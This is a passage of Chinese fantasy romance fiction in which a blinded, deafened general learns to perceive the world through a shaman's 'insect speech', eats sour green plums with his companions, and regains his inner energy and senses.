两人一前一后离开了房间,又过了许久,祁雁紧绷的身体才逐渐松懈下来,像是没话找话地询问盘在手上的白蛇:“他们走了吗?” 白蛇:“嘶嘶。” 祁雁:“要是走了,你就碰我一下,要是没走,你就碰我两下。” 白蛇:“……” 祁雁说完,自己也觉得自己很莫名其妙,他苦笑了一下:“算了。” 白蛇吐出蛇信,轻轻扫了他一下。 祁雁一愣。 他有些不敢相信,又等了许久,没有等到第二下。 这蛇……居然真的回应他了? “你能听懂我说话?”他又问,“要是能,你就碰我一下。” 白蛇吐了一下信子,扫过他的手背。 祁雁十分惊讶,同时又有些惊喜,苗霜不在,极端的孤独让他忍不住和蛇聊起天来:“刚刚是不是赵戎来过了?姜茂也来了吗?来的是一个人还是两个人?是一个人你就碰我一下,两个人就碰两下。” 白蛇只好连着吐了两下信子。 “你连人名都能听懂?你该不会是在唬我玩吧?你能不能连吐三下?” “……” 苗霜从外面回来,还没进屋,就听到屋里有人在喋喋不休。 他不禁有些纳闷,心道祁雁已经开始自言自语了吗,进门一看才发现他居然在和蛇说话。 缠在他手上的白蛇已经生无可恋,吐信子都吐累了,它一见到苗霜回来,立刻挣扎着想要逃离魔爪:“嘶嘶嘶嘶!” 它果断从祁雁指缝间溜走,这辈子没见过这么烦蛇的男人。 祁雁感觉到白蛇离他而去,不由得眉心一拧,急忙想将它捉回,却看不见它爬到了哪里,又落在何处,慌乱之中四处摸索,可怎么都找不到它的踪迹。 “小白……小白!”他音量逐渐攀高,尾音开始发抖,双手在床上胡乱摸着,却始终没摸到白蛇,而被什么别的东西挡住了胳膊。 祁雁顿了一下,抬起头来,又仔细摸了摸,确定是个坐在床边的人:“苗霜?” 苗霜握住了他的手。 那是苗霜的手,他认得,祁雁内心的慌张瞬间烟消云散,他一下子平静下来,对他说:“你回来了。” “嗯,回来了,”虽然知道他听不见,但苗霜还是回答了他,“时间不早了,该睡觉了。” 祁雁:“你的蛇……” “它被你吵得太烦,自己跑回来了,”苗霜把白蛇拿到他手边,“你摸摸。” 祁雁指尖触到蛇的鳞片,那触感和其他任何东西都不同,他能分辨得出来:“没丢就好。” 苗霜失笑。 蛊王怎么可能会丢呢,失去五感以后,脑子也变傻了吗? 他忍不住看向白蛇,责备道:“都说了让你好好待着,欺负他有意思?” 白蛇被他一说,红玛瑙般的小豆眼中貌似流露出名为愧疚的情绪,但很显然,它还是更不想被人缠着,命令它吐几下信子,果断钻进苗霜袖口:“嘶嘶。” 苗霜:“什么叫我也欺负他,我当然能欺负他,但你不能,明白了吗?” 白蛇不想与他争辩,跟不讲道理的人讲道理是没有意义的。 “苗霜,”见他半天没动静,祁雁又开口道,“现在是什么时辰?” 苗霜拉过他的手,在他手心写下一个“子”字。 许是因为笔画少,他多写了几遍,祁雁居然理解了:“子时吗?” 苗霜轻敲他掌心。 这是祁雁刚刚和蛇的沟通方式,一下代表“是”,两下代表“不是”,他瞬间明白了:“那,时候不早了。” 苗霜轻推他肩膀,示意他该休息了。 祁雁乖乖躺了下来:“你也陪我一起吗?” 苗霜又敲了他的手掌一下。 祁雁便彻底放心了,他给对方让出位置,感觉到苗霜的衣袖擦着他的手臂划过,对方躺在了他身边。 他忍不住抓住他的手,问道:“我……还能好吗?要是我以后再也看不见,再也听不见你了该怎么办?” 苗霜轻敲一下,顿了顿,又轻敲两下。 能,不会。 这个回答大大安抚到了祁雁,他肉眼可见地放松下来,侧过身,面朝他躺着:“那,需要多久?” 苗霜在他掌心轻划。 “这是什么意思,不知道吗?” 苗霜敲了一下。 “是不知道啊……需要很久?” 两下。 “不知道多久,但不会太久。” 一下。 纵然沟通费力了许多,但他还是搞清楚了苗霜的意思,祁雁如释重负:“好,我信夫人。” 苗霜看着他。 那双失去焦距的黑眸让他看上去眼神涣散,极大地淡化了眉宇间的冷厉,有种近乎脆弱的无害。 不知道为什么,他忽然就想起了和泊雁仙尊的最后一面,那身为仙道魁首,站在众生之巅的男人,也会露出脆弱的一面,因绝望而失神的双眼也是这般令人心疼。 祁雁不再说话,应该是准备睡了,可他之前昏睡太久,现在竟也睡不着,就只好这么安安静静地在床上躺着,握着苗霜的手。 忽然,他感觉对方动了,枕边人倏而向他靠近,紧接着,唇瓣上就是一软。 苗霜的吻毫无征兆地落了下来,祁雁被吻得一愣,他看不到对方的脸,也听不到他的声音,仅剩的感官便被无限放大,所有的注意力都聚集在了唇瓣之上。 他感到对方细密的啃咬,因为觉不出疼,这啃咬的感觉也变得和平常不同,亦感觉不出冷热,那条柔软的舌在口腔中游走的感觉,是如此熟悉又陌生。 苗霜…… 祁雁看不见,索性就闭上了眼睛,既然听不见,就不再尝试去寻找外界的声音,他静下心来,全身心地沉浸进这个吻,世界之中只剩这个吻的滋味,像是漆黑一片里唯一的一抹光源和色彩,仿佛万籁俱寂中在耳边响起的虫的鸣叫。 他脑中开始出现了画面,他好像看到了,看到了苗霜在吻他,在床上,在吊脚楼中,在郁郁葱葱的山林间,在重峦叠嶂长河奔流的苗寨里,在浩瀚无垠的天地间。 想象力的视野无限铺展开来,他又看到了这个世界。 而苗霜,便是这世界的中心。 第90章 第 90 章 甜。 这样的感觉实在很是奇妙, 有那么一瞬间他真的以为自己看见了,脑海当中不再是漆黑一片,红衣白发的身影近在咫尺, 即便闭着眼睛,他也能感受到他。 鲜活的触感令人贪恋, 他忍不住想要和他多缠绵一会儿,永远也不要分开才好。 细密的吻落在能够触及的每一处, 好像他多和苗霜亲热一会儿,他的世界里就能多热闹一些。 直亲到苗霜都烦了,主动和他拉开距离:“你是吃了这顿不想吃下顿了?” 祁雁当然听不到他在说什么,但知道他应该是不想继续了,便也不再勉强,抱着他尝试入睡。 把人拥在怀中给了他极大的安全感,精神也放松到了极致,他本以为自己不困,没想到才闭上眼睛没多久就睡着了。 失明的日子里分不清白天黑夜, 也就谈不上什么时间该睡下,什么时间该起床, 第二天苗霜也没有叫他……主要是这家伙现在有点太黏人,还是睡着比较好。 祁雁醒来时苗霜又不在,但小白在,可怜的白蛇又被狠心的主人丢来照顾病人,一肚子的委屈,却没人听蛇讲。 经过一宿的适应, 祁雁也有些习惯了,他已经不想只待在床上等着被人伺候,摸索着下了床。 看不见东西也听不见声音, 对他来说最难的无非是辨别方位,他记得屋子里的陈设,却没办法判断自己距离它们还有多远。 回想起昨天晚上不小心撞到桌子,他不禁更加谨慎了些,思索良久,问白蛇道:“既然你能听懂人话,那你能帮我吗?我现在想去洗漱,你帮我指个路,好吗?” 白蛇:“?” 有没有可能它只是一条蛇? 祁雁把蛇放到肩头:“爬到头顶就是直走,左肩是左转,右肩是右转,缠住脖子就是停下,怎么样,可以做到吧?” 白蛇:“……” 红玛瑙般的小豆眼死死盯着面前的人,它快要藏不住想咬人的眼神,但想想这人现在可能已经百毒不侵了,终是收起了伸到一半的毒牙。 它吐了吐信子,爬到祁雁头顶。 没过多一会儿,苗霜从外面回来了,他看到正站在盥盆边洗脸的祁雁,十分诧异:“你怎么摸到这来的?” 他环顾四周,见屋里的物件还都在原位,没有被撞歪过的痕迹,心中惊讶更甚,祁雁不但能一路摸过去,甚至没碰到任何东西。 祁雁明明没听到他说话,却好像若有所感,他朝着苗霜所在的位置回过头去,不太确定地问:“苗霜?” “……你能看见了?” 没人上前来,祁雁又怀疑自己是不是搞错了:“苗霜?是你吗?” 苗霜看着他的眼睛,那双黑眸中依然没有半分焦距,看他的反应,也不像听到了。 可他“望”过来的方向却是对的,难道是巧合? 半天没感觉到有人靠近,祁雁觉得自己大概是搞错了,回转身来,从架子上摸下毛巾,擦干脸上的水。 他准备原路返回,苗霜便从门口让开,被祁雁使唤了一路的白蛇动起了坏心思,不给他指路了。 肩头的蛇半天没给出下一步指令,祁雁有些不知道该往哪里走了,他叫了两声小白,小白也没理他,只好伸手四下摸索,摸到了门框和墙壁,想要一路贴着墙摸回去。 那种有人在附近的感觉还是如影随形,他没忍住又往那个方向“看”去,不知道为什么,他总觉得那就是苗霜,虽然对方一直都没理会他。 反正小白也不给他指路了,他干脆上前一探究竟,双手小心翼翼地向前摸索。 苗霜再次退开。 祁雁皱了皱眉,竟也跟着转换了方向,再次朝着他来了。 这次苗霜终于没有再躲,对方的指尖触碰上来,祁雁在他身上摸了摸,眉宇一下子舒展开:“果然是你,我叫了你好几遍,为什么不理我?” “你是不是能感知到我?”苗霜捉住他的手,放慢了语速,“祁雁,你是不是能感知到我?” 体内的蛊虫随着他的声音发出异样的振动,犹如谁在低声耳语,祁雁听到了一阵模糊的音节——或许那又不能称之为“听”,他不知道那声音从哪里来,好像是在他耳边,又好像在脑子里,在身体的任何地方。 他听到那振动反复响起,渐渐从模糊变得清晰,连缀成一句问话:“祁雁,你是不是能感知到我?” 祁雁一惊,本能地挣开了他的手:“苗霜?是你在跟我说话?” 苗霜:“……” 居然真的成功了。 他万万没想到这世上还有第二个人能听到他的“虫语”,这可和之前在祁雁耳朵里放虫子不同,靠的不是听力,而是感知。 他无法准确描述那究竟是怎样的一种能力,就像是结网的蜘蛛,空气中每一点细微的波动都能被蛛网捕捉,顺着蛛丝传递,蜘蛛由此感知到空气中的讯息。 同样,蜘蛛也可以拨动蛛网,将信息传递给外界,他就是通过这样的方式操纵蛊虫,也是因此有着超乎常人的感知力,甚至和蛊王交流,他自己给这种能力起了个名字,“虫语”。 一切人听不到的,人看不到的,会由这世上无处不在的虫告诉他。 这是只属于大巫的独一无二的能力,或许真是来自于神灵的馈赠,是失去一切后仅有的补偿。 他没想到,除大巫以外的其他人也能拥有。 也许他对祁雁做的事已经无异于大巫选拔,才让他也获得了这种“馈赠”。 原本只属于他和虫的世界里突然闯进了第二个人,这个人还不是别人,是他的鸣川师兄,苗霜肉眼可见地兴奋起来,漫长的孤寂被人打破,终于有人能与他结伴同行。 他再一次抓住了祁雁的手,十指与他紧紧相扣,这次他没有开口,只用虫语对祁雁道:“静下心来,认真去感知周围的一切。” 这句话被苗霜重复了几次,终于准确传递到祁雁脑海当中,于是他闭上眼睛,尝试着去感知。 “你能够感知到我,就也一定能感知到其他东西,先试着感应一下小白吧,它正待在你肩头,尝试着从你身上逃跑。” 祁雁的“注视”落在自己手臂上,白蛇正偷偷摸摸地从他肩头爬上他的胳膊,顺着他们十指紧扣的双手,往苗霜身上移动。 “现在它已经离开了你的身体,你不再能直接接触到它,但在你的世界中,它依然存在,你能通过空气感受到蛇信吞吐的振动,感受到鳞片间的摩擦,很微弱,但并非不可捕捉,只需凝神。” 祁雁屏住呼吸,全神贯注地感受着那条白蛇,他似乎看到它爬上了苗霜的手腕,钻进了他的袖口。 “回答我,它现在在哪里?不要思考,只需顺从你的本能。” “在你袖子里。”祁雁道。 “很好,”苗霜唇边浮现出了笑意,“现在呢?” 白蛇在他的衣服里游走,逛了一圈,从襟前探出头来。 “在前襟……不,现在爬上肩膀了。” “一点不错。” 白蛇也听到了他们的虫语,有些疑惑地吐了吐信子。 “但我感知不到除你们以外的其他东西,”祁雁把脸转向另一边,“这间屋子里……只有你、我和蛇,屋子以外……似乎有别的,是……树吗,但一会儿有,一会儿又没有。” “那是因为活物比死物更容易感知,不着急,我们慢慢来,先去试着感知会动的东西。” “好,”祁雁又感觉到什么似的,扭过了头,“好像有人来了,嗯……像是圣子。” 漆黑的世界当中正有一道欢快的身影朝他们接近,向久捧着一个竹筐跑了进来:“阿那阿那!山上的青梅熟了,可香了!我刚去摘了好多……咦?” 他看向祁雁:“祁将军能下床了?” 祁雁感觉到他在说话,但语速太快,他分辨不出具体内容,便问:“是圣子吗?” “是我啊!你眼睛能看见了?” 苗霜:“他看不见,不过他好像能感知到‘虫语’了,当然,还在初学阶段,能感觉到附近有人已经不错了吧。” “什么?!”向久大惊,“他居然能学会虫语?我都学不会!” 嫉妒让圣子面目全非,他举起捧着的竹筐:“我要请他吃青梅!” 祁雁还是没理解:“嗯?你手里拿的什么?” 苗霜一挑眉梢:“好啊,正好该泡今年的青梅酒了,一起去把这些梅子洗了吧。” “好耶!阿那要亲自泡青梅酒了!等泡好了,我要第一个喝!” 向久欢天喜地地跑了出去,苗霜也牵着祁雁的手,把他往屋外带。 让一个又瞎又聋的人下楼实在有些为难人,好在祁雁也在吊脚楼里住了这么久,门口的楼梯有几级台阶都记得清清楚楚,他一手扶着扶手,一手拉着苗霜,倒也有惊无险地下了楼。 一出来,苗霜才看到院子里还有好几筐青梅:“你摘了这么多啊,这光靠我们两个要弄到什么时候去?” “不是还有他吗?”向久指着祁雁问。 “你指望一个瞎子帮我们挑坏果吗?”苗霜瞥他一眼,“去把明秋和赵戎他们都叫来。” 几人在院子里集合,向久开始分工,除了祁雁以外一人一筐:“要把有虫眼的,有疤痕的或者裂开的果子都挑出来哦。” 众人开始认真挑果子,坏果挑出来放在一边,好的果子则扔进水盆当中,由祁雁负责清洗。 眼睛看不见挑不了坏果,但洗洗还是没问题的,他仔仔细细把青梅果一个个清洗干净,再捡到竹筐里沥水。 赵戎挑了一会儿坏果,忍不住凑到他跟前:“将军,您没事了?” 祁雁垂着眼帘,认真洗果子,完全没搭理他。 “居然还是听不见啊……”赵戎嘟囔了一句,坐回去继续干活。 这时,祁雁抬起头问苗霜:“这是什么果子?” 苗霜扣住他的手腕,对他重复了几次:“青梅。” “能吃吗?” “当然,不过我们一般用它来泡酒,现在正是青梅成熟的季节,这种梅树山上随处可见。” 祁雁从水里捞起一个洗好的,犹豫了一下,放进嘴里。 向久睁大眼睛。 居然有人敢生吃青梅! 青梅在口中溢出汁水,脆脆的,祁雁嚼了又嚼,苗霜在旁边问:“甜吗?” 祁雁点点头:“甜。” 向久嘴巴张得能塞下一个青梅。 “这个季节的青梅最是鲜甜爽脆,多汁可口,”苗霜也捞起一个,咬了一口,看向赵戎他们,“你们不尝尝?” 看他们吃得这么香,赵戎顿时也心动了,他拿起一个洗好的青梅,放在鼻端:“好香啊,这梅子的味道好浓。” 不疑有他,放进嘴里咔嚓就是一口。 姜茂问他:“甜吗?” 赵戎几乎是咬着牙,才没把那颗梅子吐出来,努力挤出笑容,也给对方递了一个青梅:“甜,可甜了,你快尝尝!” 姜茂接过青梅,一口塞进嘴里。 “……”诡异的沉默。 两人对视片刻,不约而同地吐掉了梅子,赵戎被酸得脸都绿了,呸个不停:“呸呸呸!谁说这玩意甜啊!你们都没味觉的吗?!” 姜茂差点被酸出眼泪。 苗霜似笑非笑,嘴里没嚼的梅肉直接咽了,剩下半颗梅子塞给了小白:“很甜啊。” 白蛇毫不怀疑地接受了主人的投喂,青梅顺着蛇身滑下,片刻后…… 它身子一拱,又把刚吃进去的梅子原封不动地吐了出来,蛇信吞吐不停,气得直甩尾巴。 所有人的视线齐齐投向祁雁。 祁雁已经吃完了第一个,开始吃第二个,他感觉到周围人怪异的举动,不解地问:“你们都吐什么?不是很甜吗?” 90-100 第91章 第 91 章 他的内力回来了 赵戎艰难咽了口唾沫, 看他的眼神都变了:“将军,您……您还好吧?” 祁雁并没有听到他的担忧,若无其事地又吃了一颗梅子。 赵戎只好转头问苗霜:“大巫, 他不会连味觉也没有了吧?” 苗霜给了他一个“你自己体会”的眼神,伸手抢下祁雁第三次拿起的青梅:“别吃了, 都被你吃完了,我还拿什么泡酒?” 自己没味觉还敢这么吃, 也不怕等下酸倒牙。 祁雁疑惑不解,明明有这么多筐梅子,他吃几颗又怎么了,但既然苗霜不想让他多吃,那他就不吃了,也许泡成酒会比直接吃更好吃吧。 几人花了一下午时间,处理好了所有的青梅,将洗好的青梅装进罐子,加入黄糖和酒, 仔细密封起来,等到苗年的时候就能喝了。 和苗霜一起泡上了青梅酒, 向久显得十分开心,吵着晚上想吃好吃的,苗霜便让厨子准备了一顿丰盛的晚饭,当作是祁雁死里逃生的庆贺——虽然祁雁本人现在没味觉,完全尝不出丰盛不丰盛。 看不到菜色,闻不出香气也尝不出味道, 这顿饭对祁雁来说,实在吃得没滋没味,甚至不太尝得出吃到嘴里的究竟是什么菜。 没有痛觉, 喝酒都像在喝水,一不小心就喝得有点多了,等吃完离席时从椅子上站起来,他才发现自己好像有点喝醉了。 正想回房休息,却被苗霜拉住,手掌交覆间,他听到对方跟他说:“祁雁,陪我四处走走吧,今天月亮很圆。” 祁雁下意识抬头看向天空,却只看到漆黑一片。 再圆的月亮也与他无关,他没由来地有些失落,今晚苗霜好像心情很好,他却不能陪他一同欣赏这月色。 他一言不发地被他牵着走,感觉到他们离开了小院,寻着小径往更高的山上去了。 “这是要去哪儿?”他问。 “去找个好地方赏月。” “在院子里,不行吗?” “赏月,自然要登高,我家还不够高,”苗霜拉了他一把,“有台阶,小心点。” 祁雁感知不到地形,只能在他的牵引下一点点尝试,走得自然便慢了许多,但他能感觉到他们一直在往上走,隐隐有了猜测:“你该不会要带我去款首家吧?” “自然,这座山上最高的地方就是那里,放心,里面没人住。” 两人一路来到山顶,这座吊脚楼比其他任何一栋都大,苗霜带着他上了二楼,又搬了梯子,爬上楼顶。 他们在屋脊上坐了下来,苗霜递给他一壶酒,抬头遥望天上的月亮。 祁雁不知道该说什么,只默默将酒坛凑到唇边,喝了一口。 “我刚成为大巫的那几年,谁都不愿意接触,就一个人偷偷躲进深山里,有时候款首会派人来找我,我不想被他们找到,就爬到树上,爬到房顶上,爬到高的地方躲着不出声,这样,他们半天找不到我,就离开了。” 掌心传来异样的振动,祁雁听到了他的虫语,凑在唇边的酒坛一顿,放了下来。 “那时我的意识非常混乱,不光记不起自己是谁,还总感觉有奇怪的声音在我脑子里叫,吵闹极了,吵得我恨不得把所有人都杀了,这世上要是没有活物,就不会有声音,那样我的耳边就能安静下来了吧。” 祁雁偏头看向他。 片刻他道:“什么都听不见的感觉并不好。” 天地一片寂静,如果不是他还能听到苗霜的声音,恐怕是要疯了。 “是啊,”苗霜竟没有反驳,“后来我才知道那些声音是什么,那是虫子在呼唤我,是这片天地在与我交流。” 祁雁愣了一下,没懂这句话的含义:“什么?” 苗霜忽然站起身来:“万事万物都有自己的声音,不论是动物的叫声,还是虫子拍动翅膀,它们的本质都是一样的——那是振动的频率。” “每一种生命都有属于自己的频率,甚至没有生命的东西也有,一块石头,一捧溪水,只要你能感知到它们的频率,不需要用眼睛去看,不需要用耳朵去听,也能捕捉到它们的存在。” 祁雁将信将疑:“石头,也能感知到?” “当然没那么容易,”苗霜道,“自从我明白那些声音是万物的频率,我就开始尝试去分辨它们,每一种虫子的频率都是独一无二的,有些容易感知,靠耳朵就能分清,有些则不然。” “蚊子会发出讨厌的嗡嗡声,又尖又吵,苍蝇的声音则低沉许多,蜻蜓振翅时像是纸页在摩擦,蛾子总在光下扑棱,时常撞在灯芯中烧成灰烬。” 祁雁听他说着,好像也感觉到了那些虫子在眼前飞,死寂的世界突然就热闹了起来。 “你可知,人们永远也听不到的飞虫是什么?” 祁雁思索了一下,没能找到答案:“什么?” “是蝴蝶,”苗霜伸出手,一只斑斓的蝴蝶出现在它指尖,“蝴蝶是所有飞虫中振翅频率最低的那一个,低到已经超过了人耳能捕捉到的极限,所以在人们听来,它是世上最安静的昆虫,优雅,又美丽。” 蝴蝶的翅膀缓缓开合,华美的色彩时隐时现。 “它们落在柔软的花瓣上吸食花蜜,悄无声息地来,又悄无声息地走,带着世间最美丽的色彩,将短暂的一生用最难忘的方式呈现在人们眼前,最后静悄悄地坠落,很少有人能看到它们于何处破茧,又于何处凋零。” “去试着感受它吧,”苗霜将那只蝴蝶拿到祁雁跟前,“你若能感知到蝴蝶,就也能感知到其他的一切。” 让瞎子看蝴蝶,但凡换个人来,祁雁都要感觉那是故意刁难,可苗霜好像是认真的,真相信他能做到。 蝴蝶离开了苗霜的指尖,环绕着两人翩翩起舞,这只无声的精灵在月色下身披华彩,翅膀上细小的鳞片层层铺叠,闪烁之间光华流动。 苗霜沐浴着月色喝起了酒,皎皎清辉将山巅映得亮如白昼,他肩膀上的白蛇都被镀了一层光晕,脑袋追随着飞舞的蝴蝶不断左扭右摆,好像很想把它扑下来。 祁雁眉头紧锁。 蝴蝶……这附近真的有蝴蝶吗?该不会是苗霜在骗他吧? 他尝试了好半天也没感应到什么蝴蝶,已经打算放弃了,可就在这时,他忽然感觉鼻尖被什么东西碰到。 细细的虫脚落上他的鼻尖,带来极细微的触感,紧接着那感觉又消失了,同时传来的是虫翅扇动时带来的微风。 ……居然还真的有蝴蝶! 蝴蝶短暂停留又离去,祁雁完全没能追踪到它的去向,但直觉告诉他蝴蝶就在附近,他深吸一口气,闭上眼睛。 像苗霜教他的那样,静下心来,认真去感受。 周遭的一切都在极致的凝神中放缓,他感觉到苗霜肩头的蛇爬到了自己身上,似乎是为了离那只蝴蝶更近一点,它探着脑袋紧紧盯着某个方向,蛇信嘶嘶吞吐。 那应该就是蝴蝶的所在…… 正前方? 蝴蝶扇着翅膀从面前翩然飞过,白蛇看准时机,猛地探出身子,张开血盆大口。 眼看着蝴蝶就要成为蛇的猎物,那转瞬之间发生的扑咬如同慢动作般呈现在祁雁脑海中,他下意识地伸手一挡—— 蝴蝶因他带起的气流而偏移了轨迹,白蛇猝不及防,狠狠撞在了他的掌心。 白蛇被撞得有点蒙,缓过来后,它目光不善地看向祁雁,发出威胁般的嘶嘶声,浑身鳞片不断摩擦,以表达自己的愤怒。 祁雁心脏陡然快跳了几分。 他轻轻捻了捻指尖,那里留下了一些细腻的粉末,是刚刚不小心碰到蝴蝶翅膀沾上的鳞粉。 他“看”到了。 他看到了那只蝴蝶! 斑斓的蝴蝶倏然飞远,像是一道流光,直朝着高空之上的月亮飞去,祁雁抬起头,“看”到那高悬于空的玉盘—— 月色泼洒在山中,将地面上的一切笼罩其间,每一棵树、每一寸土壤都沐浴着辉光,他看到那蝴蝶自月下飞过,飞向远处如黛的青山,飞越蜿蜒奔流的长河,崇山峻岭匍匐在他们脚下,如练的星河高悬于天幕之间。 那蝴蝶又忽而飞近,远望的视野也跟着收束,最终汇聚于身旁。 他看到苗霜正对月饮酒,蝴蝶落上他的酒坛,似乎也想尝尝佳酿的滋味。 心脏剧烈地跳动着。 祁雁目不转睛地看着身边的人,蓦地,他感到丹田一暖。 这是…… 他急忙收回视线,盘膝而坐,将双手置于膝头。 丹田处升腾起一股暖流,那感觉别提有多熟悉,自从经脉尽断后就再难聚集的气终于回来了,它们流汇于丹田之内,虽然只有一小团,像是瓶底的水,但出奇温暖。 那陪伴了他二十余年又在一朝毁尽的内力,终于失而复得。 苗霜喝完了坛中酒,停在坛口的蝴蝶也探着口器,吸干了挂在坛壁上的一点,很快它就开始身形摇晃,扇动翅膀想飞起来,却从酒坛上跌落。 苗霜伸手接住它,十分嫌弃地把它收起,视线落在祁雁身上。 这般打坐入定的样子,真是和鸣川师兄如出一辙。 说起来,他当魔尊的时候,不光爱搜罗话本子,还从魔众手中收缴过不少本双修功法,他特意把可能适合他跟祁雁练的留了下来,就藏在天露池一个石头洞里…… 当年他跟祁雁大战,整座万魔峰都夷为平地了,那些功法八成也毁了,啧,还真可惜啊。 “苗霜,”祁雁缓缓睁开眼帘,语气中难掩激动,“我的内力回来了。” 苗霜正在可惜他的双修功法,闻言敷衍道:“哦,恭喜。” 祁雁:“……” 祁雁:“就只是‘恭喜’?” 第92章 第 92 章 肆无忌惮地亲吻他 “那不然呢?”苗霜凉凉地扫了他一眼, “我还要敲锣打鼓帮你昭告天下?” 祁雁:“。” 倒也不必。 等等,他已经不需要接触,就能听到苗霜说话了? 他很确定他的听力并没有恢复, 只通过感知力感受到的世界和正常的样子大不相同,这个世界里没有色彩, 越是鲜活的东西越亮,纯粹的死物则是一片漆黑。 他听苗霜的声音也听不真切, 像是水下的人在听岸上的人说话。 “我困了,要去睡了,”苗霜打了个哈欠,“既然你的内力回来了,那你就试着去唤醒你身体里的蛊虫,你之所以会五感封闭,是因为它们透支进入了休眠,你用内力温养几天,它们就能醒过来, 到那时候,你就算彻底康复了。” 祁雁心中一喜:“真的?” “我什么时候骗过你?”苗霜已经不耐烦了, 冲他摆摆手,转身就离开房顶,顺着梯子下了楼。 被他遗忘在祁雁肩头的白蛇:“……” 祁雁暂时还不想回去,内力的突然恢复让他欣喜若狂,迫不及待想要尝试一番,看看是不是真的如苗霜所说。 他闭上眼睛, 再次入定,仔细感受着自己的身体,残损不堪的经脉果然已经被修复好了, 又或者说是那些虫子吃掉了旧的,重新开辟出一条新的,这新生的经脉似乎比以前的还要强韧许多,只不过现在还内中空空,纯粹是摆设。 祁雁凝神静坐,尝试引气入体,但休眠的蛊虫并不怎么配合,好不容易聚集起来的真气大多又逸散出去,最终汇入丹田的并没有多少。 看来还是不能操之过急。 他调动仅有的内力,努力让真气顺着经脉运行,闭塞的经脉被冲开了些许,勉强行完一个周天,内力也几乎耗尽了。 祁雁睁开眼睛。 今天就到此为止吧,他有点累了。 逸散的真气带走了体内的酒意,他现在倒是完全酒醒了,站起身来,就遇到了第一个摆在眼前的难题——他怎么下去? 这栋建筑在他眼中是纯粹的死物,除了走动时能看到瓦片的晃动,其他都是漆黑一片。 苗霜把梯子立在哪了,他要是不用梯子直接跳下去,会摔伤吗? 这栋吊脚楼少说也有三丈高……还是谨慎一些吧。 于是他碰了碰肩头已经睡着的蛇:“小白,帮个忙。” 白蛇不情不愿地帮他指了路,祁雁一番折腾,总算是从楼上下来了。 回去的路倒是容易分辨些,他能感知到地上的草,没有草的地方就是山路,他只要顺着黑暗的地方走就行。 走了没两步,他忽然踢到了什么东西,脚步一个踉跄,那东西被他踢得在小路上弹了好几下,短暂地明亮起来,等到完全停下,又重新变回黑暗。 那是什么,石头吗? 苗霜说能感知到静止不动的石头,果然还是太扯了吧。 山路实在陡峭,祁雁唯恐自己再踩到石头,干脆折了根树枝当作拐杖,拐杖敲击地面时会暂时将黑暗处点亮,勉强可为他引路。 他就这样边探边走,终于有惊无险地回到苗霜家里,一进院子,就感觉到赵戎他们正在……练武。 祁雁有些诧异:“你们两个大半夜的不睡觉,在这干什么呢?” “将军?”赵戎回过头,“您怎么从外面进来啊,夫人呢?” “刚刚他非要拉我登高赏月,赏了一会儿又说自己困了,先回去休息了。” “赏月?夫人还真有情趣——”赵戎话到一半,戛然而止,他瞪大双眼,“将军,您能听见了?” “不能。” “听不见还能对答如流?!” “……”祁雁不知道该怎么解释,干脆不解释了,“那你就当我能听见了吧。” 赵戎又伸手在他眼前晃了晃:“那眼睛呢?” 祁雁能感觉到他的手,但并非通过视力,黑眸还是全无焦距,眼珠也并不跟着他转,赵戎挠了挠头:“看来还没好。” “我在问你,为什么夜半三更不去睡觉。”祁雁又重复了一遍。 “是睡不着,”姜茂替赵戎答了,“刚刚吃完饭,我们本来是打算休息的,都已经回房躺下了,却莫名觉得内息翻涌,怎么也平复不下来,只好出来切磋武艺,缓解不适。” 赵戎:“对对对,我们都在这打半天了,汗出了一身,可这内息还是翻腾不止啊,我现在感觉我能打死老虎!” “我怀疑是酒的问题,”姜茂又道,“今晚喝的酒,和以往任何一次都不同。” “你这么一说,好像是有点,怎么形容……有点药味?” 药味?药酒? 祁雁现在没味觉,喝酒都像喝水,当然也尝不出什么药味,但听他们这么一说,他瞬间就明白了。 难怪他内力突然恢复,看来就是因为这酒,酒应该是苗霜专门为他配的,赵戎他们只是跟着……嗯,沾光。 这种能让人内息澎湃的药酒并没有太大害处,只要及时通过消耗让内息平稳下来,反而对武功有所进益。 “酒还有吗?”他问。 “没了,”赵戎不好意思地说,“本来还剩最后半坛,刚我俩打了一会儿,口渴,就给分了。” “……好吧。” 看来是不能喝太多,不然苗霜一定会想办法把酒留下来给他,他的情况和赵戎他们不同,还得循序渐进才好。 “你们继续吧,我回房休息了。” 祁雁说完便往吊脚楼走,又听到身后两人的对话,姜茂道:“所以,我们本来就是为了消耗酒力,结果又喝了酒,那我们究竟要打到什么时候?” 赵戎:“呃……谁让你不早发现是酒的问题呢……” “你不也一样没发现,好意思说我?” 祁雁摇了摇头,不再搭理他们,回到房间。 苗霜果然已经睡下了,他坐到床边,仔细打量着他的睡颜。 苗霜在他的世界里是最清晰的那个,哪怕不动,也能看得一清二楚,他甚至能在他身上看到少许色彩,是一点点流动的红。 他猜测那是蛊虫的颜色,因为自己身上也有,但要淡上许多。 那时隐时现的红成了这一片灰白的世界中唯一的色彩,让他不由自主地沉沦其中,近乎痴迷。 他就这样目不转睛不知厌烦地看了好一会儿,唇边露出连自己都没察觉到的笑意,直到看得有些困了,这才轻手轻脚地躺下来休息。 接下来的几天,祁雁每天都在尝试引注真气,用内力去温养那些休眠的蛊虫。 蛊虫在一遍又一遍的内力灌注下逐渐复苏,所有经脉闭塞处皆被逐一打通,真气在体内畅行无阻,运转如常,身体前所未有地轻松起来,就连多年前打仗时所受的陈年旧伤也已彻底痊愈,完全探查不到它们的存在了。 祁雁慢慢吐息,让真气在体内完整地运行完一个大周天,缓缓睁开双眼。 眼前的黑暗渐渐褪去,灰白的世界中一点点染上鲜艳的色彩,突如其来的光亮刺得他眯了下眼,模糊一片的视野逐渐清晰,像是拨开一团蒙在眼前的雾气。 房间里的陈设与感知到的布局渐渐重叠在一起,黑暗的死物被逐一点亮,成为桌椅和床铺,有限的感知无限地铺展开去,一直向远处延伸,再延伸,他甚至能清楚地看到院子里的每一根草,看到草叶上挂着清晨的露水,又从那露水中看到倒悬的院子。 风吹过草地的声音清晰地传入耳中,草叶抖动,露水落地,正砸中一只小虫,小虫被水滴包裹,他听到虫在挣扎,水滴渗入泥土,数不清的细微的喧闹声将他淹没,生灵万物的声音铺天盖地地向他袭来。 祁雁差点被活活吵死,急忙御起内力抵挡,将听力控制在了一个可以忍受的范围内,耳边喧嚣渐小,他这才松了口气。 重新恢复过来的五感也太过灵敏了,他连姜茂正在控诉如果赵戎再睡觉不老实就自己滚去楼上睡,向久正在念叨昨晚玩着虫子睡着了,不小心放跑了阿那一只养了很久的蛊虫希望他千万别发现……等等等等,都听得一清二楚。 